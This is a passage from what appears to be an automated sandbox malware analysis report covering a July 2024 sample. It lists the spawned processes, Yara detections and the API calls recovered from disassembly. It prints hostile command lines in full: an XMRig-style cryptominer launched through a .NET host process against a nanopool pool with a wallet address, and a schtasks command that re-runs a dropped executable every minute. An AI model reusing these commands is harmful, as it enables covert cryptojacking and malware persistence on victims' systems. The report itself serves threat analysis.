0000001B.00000003.2781349798.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2801216518.00000159F349D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:27:33
Start date:	24/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50
Imagebase:	0x23d0a940000
File size:	42'800 bytes
MD5 hash:	929EA1AF28AFEA2A3311FD4297425C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:27:33
Start date:	24/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50
Imagebase:	0x1b496ad0000
File size:	42'800 bytes
MD5 hash:	929EA1AF28AFEA2A3311FD4297425C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	03:27:33
Start date:	24/07/2024
Path:	C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe"
Imagebase:	0x670000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:27:40
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Imagebase:	0x7ff6712e0000
File size:	1'180'160 bytes
MD5 hash:	18BBC3FB86E902AFB59C06811A5B01F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2922120647.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2915091882.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2915091882.0000020E49827000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2961157579.0000020E498C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2961157579.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2958783527.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2915091882.0000020E497F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2919365464.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2916180807.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2965569347.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2958783527.0000020E498F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2931991322.0000020E495E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2916180807.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2958783527.0000020E498C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2924968847.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2919365464.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2968135446.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2923367726.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2968964641.0000020E495E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2929542126.0000020E495E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2961157579.0000020E498F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2971778971.0000020E495F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2971339077.0000020E495EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2918637105.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2918637105.0000020E4982A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2970680561.0000020E4949C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2969262618.0000020E49491000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2931335674.0000020E495E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2918637105.0000020E497F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2920893388.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:27:42
Start date:	24/07/2024
Path:	C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe"
Imagebase:	0x180000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:27:48
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Imagebase:	0x7ff6712e0000
File size:	1'180'160 bytes
MD5 hash:	18BBC3FB86E902AFB59C06811A5B01F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:27:52
Start date:	24/07/2024
Path:	C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe"
Imagebase:	0x90000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:28:01
Start date:	24/07/2024
Path:	C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe"
Imagebase:	0x20000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:28:12
Start date:	24/07/2024
Path:	C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe"
Imagebase:	0xe70000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:28:24
Start date:	24/07/2024
Path:	C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe"
Imagebase:	0x630000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:28:38
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN Cerker.exe /TR "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" /F
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:28:38
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:28:40
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Imagebase:	0x530000
File size:	710'144 bytes
MD5 hash:	631670BEA7DD01CB347C389294714438
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:28:40
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Imagebase:	0x530000
File size:	710'144 bytes
MD5 hash:	631670BEA7DD01CB347C389294714438
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:28:52
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Imagebase:	0x530000
File size:	710'144 bytes
MD5 hash:	631670BEA7DD01CB347C389294714438
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:29:00
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Imagebase:	0x530000
File size:	710'144 bytes
MD5 hash:	631670BEA7DD01CB347C389294714438
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47.1%
Total number of Nodes:	884
Total number of Limit Nodes:	11

Executed Functions

Function 005D65F0 Relevance: 50.8, APIs: 13, Strings: 14, Instructions: 3518synchronizationprocessfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNELBASE(00000000,00000000,?,00000000,Global\,00000007,?,?), ref: 005D67F1
GetLastError.KERNEL32 ref: 005D6871
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 005D6893
CreateDirectoryA.KERNELBASE(?,00000000,0000000F,?,00000000,0060E898,00000001,?,?,?,?), ref: 005D6B82
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 005D6B96
CopyFileA.KERNEL32(?,00000000,00000000), ref: 005D6E2E
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,00000000,?), ref: 005D790D
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 005D791C
CloseHandle.KERNEL32(00000000), ref: 005D792B
CloseHandle.KERNEL32(?), ref: 005D7930
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 005D8C04
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104,00000001,00000006), ref: 005D8C7F

Strings

XFZ@i6, xrefs: 005D963E
wuC, xrefs: 005D8C9D
XFZ@i6, xrefs: 005D7DA6
wuC, xrefs: 005D661E
XFZ@i6, xrefs: 005D859F
TEMP, xrefs: 005D688E, 005D8C7A
XFZ@7, xrefs: 005D93BA
XFZ@i6, xrefs: 005D802E
open, xrefs: 005D8BFD
wuC, xrefs: 005D68AB
" /F, xrefs: 005D761A
Global\, xrefs: 005D67B0
XFZ@, xrefs: 005D6F40
``, xrefs: 005D73F6

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Create$CloseEnvironmentFileHandleVariable$CopyDirectoryErrorExecuteLastModuleMutexNameObjectProcessShellSingleWait
String ID: " /F$Global\$TEMP$XFZ@$XFZ@7$XFZ@i6$XFZ@i6$XFZ@i6$XFZ@i6$``$open$wuC$wuC$wuC
API String ID: 747220738-3486709996
Opcode ID: 2f955d230f0261ebd0980c472d602a6bf24f329f5d89a28a117140492db83416
Instruction ID: ead1130a7a568b55406621a02a421554e64aaf2c219b35eee90648c6817f0380
Opcode Fuzzy Hash: 2f955d230f0261ebd0980c472d602a6bf24f329f5d89a28a117140492db83416
Instruction Fuzzy Hash: FF630476D206598AEB17CB38C8417E9FBB5BFA6340F14D75BE40472662FB3166C68B00

Function 005E98AE Relevance: 28.3, APIs: 4, Strings: 9, Instructions: 5538COMMON

Download Yara Rule

Strings

ctx`9, xrefs: 005EA0CA
fyyq9, xrefs: 005EAE9A
!yW, xrefs: 005ED8AC
dszm9, xrefs: 005E9C6A
@FSYM_;, xrefs: 005EEC59
XSZ]A_;, xrefs: 005EE389
wytpj:, xrefs: 005EA52A
z}7, xrefs: 005EDC98
7<=<I, xrefs: 005ECA3E

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: !yW$7<=<I$@FSYM_;$XSZ]A_;$ctx`9$dszm9$fyyq9$wytpj:$z}7
API String ID: 3677997916-2810526515
Opcode ID: abdd1223bd1cad5f7a37e851491785c0d5f9524159b4326db942c6ac2eae9b2d
Instruction ID: 971e10f50ff96a3e2085dd97e3801cc20f67083211173c24820fa8255ab49c9a
Opcode Fuzzy Hash: abdd1223bd1cad5f7a37e851491785c0d5f9524159b4326db942c6ac2eae9b2d
Instruction Fuzzy Hash: 68B32A35C246994BE717CB79C8166DAF778AF67380F10D3ABE44472662FB3166C28B04

Function 005F6600 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,005F65FF,00000001,00000000,?,00000001,?,005FCD85), ref: 005F6622
TerminateProcess.KERNEL32(00000000,?,005F65FF,00000001,00000000,?,00000001,?,005FCD85), ref: 005F6629
ExitProcess.KERNEL32 ref: 005F663B

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b7e69ca7cfb17c9e19350e4061fda7c0fa2e6c2db54cc08e2309806ead619385
Instruction ID: d7c9d13d7a60663547310902716d2635b0db053fa1cc0d5b43cafccc66840e67
Opcode Fuzzy Hash: b7e69ca7cfb17c9e19350e4061fda7c0fa2e6c2db54cc08e2309806ead619385
Instruction Fuzzy Hash: 59E0B631080118ABCF116B64DD5D96A7F6AFB45741F105814FA05C6531CB7ADD92CB90

Function 005E48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 005E48C6

Strings

A, xrefs: 005E48BA

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: NameUser
String ID: A
API String ID: 2645101109-3554254475
Opcode ID: 5130fba2f4134e3b84b76188a9b85538bbf668b77effae8f1a592c4823896356
Instruction ID: fd6a25021966aa3f405c9b2e301460f7290bb7c0dde58171d7ebe1831ec096af
Opcode Fuzzy Hash: 5130fba2f4134e3b84b76188a9b85538bbf668b77effae8f1a592c4823896356
Instruction Fuzzy Hash: BC4159759146558FEB0ACF78D8113E6BB78EF12384F00CB5DE891B7652E732624A8B40

Function 0060ADAF Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060AA68: CreateFileW.KERNELBASE(00000000,00000000,?,0060AE58,?,?,00000000,?,0060AE58,00000000,0000000C), ref: 0060AA85

GetLastError.KERNEL32 ref: 0060AEC3
__dosmaperr.LIBCMT ref: 0060AECA
GetFileType.KERNEL32(00000000), ref: 0060AED6
GetLastError.KERNEL32 ref: 0060AEE0
__dosmaperr.LIBCMT ref: 0060AEE9
CloseHandle.KERNEL32(00000000), ref: 0060AF09
CloseHandle.KERNEL32(?), ref: 0060B056
GetLastError.KERNEL32 ref: 0060B088
__dosmaperr.LIBCMT ref: 0060B08F

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 699bf22834cf3e1d8bf44015e803800525256651f1d91e15e7b076fa57167246
Instruction ID: 49d71ce4c6a37202fe6a17ffa17a58db431c1b190f7b7e68341f146a26f114f9
Opcode Fuzzy Hash: 699bf22834cf3e1d8bf44015e803800525256651f1d91e15e7b076fa57167246
Instruction Fuzzy Hash: 17A13732A442158FDF2D9FA8DC557EF3BA2AB46360F14015DE812AB3D1DB358912CB52

Function 005D9DE0 Relevance: 6.1, APIs: 4, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00020019,?,?), ref: 005D9E09
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,000000FF), ref: 005D9E38
RegCloseKey.ADVAPI32(?), ref: 005D9E45
RegCloseKey.KERNELBASE(?), ref: 005D9E66

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID:
API String ID: 1607946009-0
Opcode ID: de4bc7d75e187013814a8f86b8bbb098c6ac7b2b1b6f9a9176d7c6ea66ebaf6e
Instruction ID: 9eecadf8355ff3bd49448fe08dc3d9f0bb7bcc2ec3eaa836f432b1c13885bc1b
Opcode Fuzzy Hash: de4bc7d75e187013814a8f86b8bbb098c6ac7b2b1b6f9a9176d7c6ea66ebaf6e
Instruction Fuzzy Hash: 32216F7410021AEFEB34DF18DC48BA67BB9FF05704F00459EE9568B291D7B2A958CBA1

Function 005D9EB0 Relevance: 6.0, APIs: 4, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000002,?), ref: 005D9ECC
RegSetValueExA.KERNELBASE(?,?,00000000,00000001,00000010,?), ref: 005D9EF9
RegCloseKey.ADVAPI32(?), ref: 005D9F06
RegCloseKey.KERNELBASE(?), ref: 005D9F10

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Close$OpenValue
String ID:
API String ID: 3951040859-0
Opcode ID: d9ae0257e4cb1ed463b0cc5b858a790e3918f99fe9117e41aa8b3c87ff5bd6c1
Instruction ID: 2700c171645360ac855a9467aee1d71974c9ea0bc57c8d8fcdc6efcc6774cc0e
Opcode Fuzzy Hash: d9ae0257e4cb1ed463b0cc5b858a790e3918f99fe9117e41aa8b3c87ff5bd6c1
Instruction Fuzzy Hash: EE012830240205EFEF18CF14D889F663B6AFB44705F50895AF5168F2A1D7B2ED51CBA0

Function 0060AD21 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0060AD84

Strings

f'`, xrefs: 0060AD23

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free
String ID: f'`
